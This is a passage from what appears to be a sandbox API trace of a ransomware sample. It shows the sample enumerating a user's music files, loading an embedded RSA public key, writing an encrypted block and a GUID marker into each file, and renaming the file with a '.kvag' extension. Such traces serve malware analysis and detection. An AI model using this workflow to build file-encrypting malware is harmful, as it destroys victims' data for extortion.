KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.098] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.098] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.098] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.099] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.099] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.099] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.099] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.099] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.099] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.099] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.099] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.099] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.099] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.100] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5609, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.100] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.100] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.100] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.100] CloseHandle (hObject=0x61c) returned 1 [0121.101] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Qne4-mFXNX7U_TH6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\qne4-mfxnx7u_th6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Qne4-mFXNX7U_TH6.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\qne4-mfxnx7u_th6.wav.kvag")) returned 1 [0121.103] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96516600, ftCreationTime.dwHighDateTime=0x1d4d40c, ftLastAccessTime.dwLowDateTime=0xac700430, ftLastAccessTime.dwHighDateTime=0x1d4cbad, ftLastWriteTime.dwLowDateTime=0xac700430, ftLastWriteTime.dwHighDateTime=0x1d4cbad, nFileSizeHigh=0x0, nFileSizeLow=0x16c4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XO SmK4Aq5-.mp3", cAlternateFileName="XOSMK4~1.MP3")) returned 1 [0121.103] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\XO SmK4Aq5-.mp3") returned=".mp3" [0121.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\XO SmK4Aq5-.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\xo smk4aq5-.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.103] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=93261) returned 1 [0121.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.105] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16c27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.105] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.107] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16c4d, lpOverlapped=0x0) returned 1 [0121.108] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.108] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.108] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.108] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.109] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.109] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.109] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.109] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.109] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.109] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.109] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.109] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.109] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.109] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.110] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16c4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.110] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.110] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.110] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.110] CloseHandle (hObject=0x61c) returned 1 [0121.111] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\XO SmK4Aq5-.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\xo smk4aq5-.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\XO SmK4Aq5-.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\xo smk4aq5-.mp3.kvag")) returned 1 [0121.113] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96516600, ftCreationTime.dwHighDateTime=0x1d4d40c, ftLastAccessTime.dwLowDateTime=0xac700430, ftLastAccessTime.dwHighDateTime=0x1d4cbad, ftLastWriteTime.dwLowDateTime=0xac700430, ftLastWriteTime.dwHighDateTime=0x1d4cbad, nFileSizeHigh=0x0, nFileSizeLow=0x16c4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XO SmK4Aq5-.mp3", cAlternateFileName="XOSMK4~1.MP3")) returned 0 [0121.113] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.113] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.113] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\") returned="QgLkms-\\" [0121.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\") returned="JMb5K DyX7\\" [0121.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0121.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.113] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.113] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.113] PathFindFileNameW (pszPath="") returned="" [0121.113] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fd6a60, ftCreationTime.dwHighDateTime=0x1d4ce3f, ftLastAccessTime.dwLowDateTime=0x3778b3f0, ftLastAccessTime.dwHighDateTime=0x1d4d50f, ftLastWriteTime.dwLowDateTime=0x3778b3f0, ftLastWriteTime.dwHighDateTime=0x1d4d50f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.116] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fd6a60, ftCreationTime.dwHighDateTime=0x1d4ce3f, ftLastAccessTime.dwLowDateTime=0x3778b3f0, ftLastAccessTime.dwHighDateTime=0x1d4d50f, ftLastWriteTime.dwLowDateTime=0x3778b3f0, ftLastWriteTime.dwHighDateTime=0x1d4d50f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.116] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x562244e0, ftCreationTime.dwHighDateTime=0x1d4cc0b, ftLastAccessTime.dwLowDateTime=0x492de550, ftLastAccessTime.dwHighDateTime=0x1d4cc33, ftLastWriteTime.dwLowDateTime=0x492de550, ftLastWriteTime.dwHighDateTime=0x1d4cc33, nFileSizeHigh=0x0, nFileSizeLow=0x74df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2sbAazIL4MPt q50L6sn.mp3", cAlternateFileName="2SBAAZ~1.MP3")) returned 1 [0121.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\2sbAazIL4MPt q50L6sn.mp3") returned=".mp3" [0121.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\2sbAazIL4MPt q50L6sn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\2sbaazil4mpt q50l6sn.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.117] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=29919) returned 1 [0121.117] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.119] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x74b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.119] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.121] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x74df, lpOverlapped=0x0) returned 1 [0121.121] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.121] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.121] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.121] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.122] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.122] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.122] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.122] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.122] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.123] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.123] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.123] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.123] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.123] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.123] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x74df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.123] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.123] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.123] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.124] CloseHandle (hObject=0x61c) returned 1 [0121.125] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\2sbAazIL4MPt q50L6sn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\2sbaazil4mpt q50l6sn.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\2sbAazIL4MPt q50L6sn.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\2sbaazil4mpt q50l6sn.mp3.kvag")) returned 1 [0121.126] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fa91b0, ftCreationTime.dwHighDateTime=0x1d4c5f1, ftLastAccessTime.dwLowDateTime=0xb5d7f810, ftLastAccessTime.dwHighDateTime=0x1d4d16c, ftLastWriteTime.dwLowDateTime=0xb5d7f810, ftLastWriteTime.dwHighDateTime=0x1d4d16c, nFileSizeHigh=0x0, nFileSizeLow=0x743c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="53Gdf_RYd2_0WEu.mp3", cAlternateFileName="53GDF_~1.MP3")) returned 1 [0121.126] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\53Gdf_RYd2_0WEu.mp3") returned=".mp3" [0121.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\53Gdf_RYd2_0WEu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\53gdf_ryd2_0weu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.127] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=29756) returned 1 [0121.127] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.129] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7416, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.129] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.131] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x743c, lpOverlapped=0x0) returned 1 [0121.131] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END 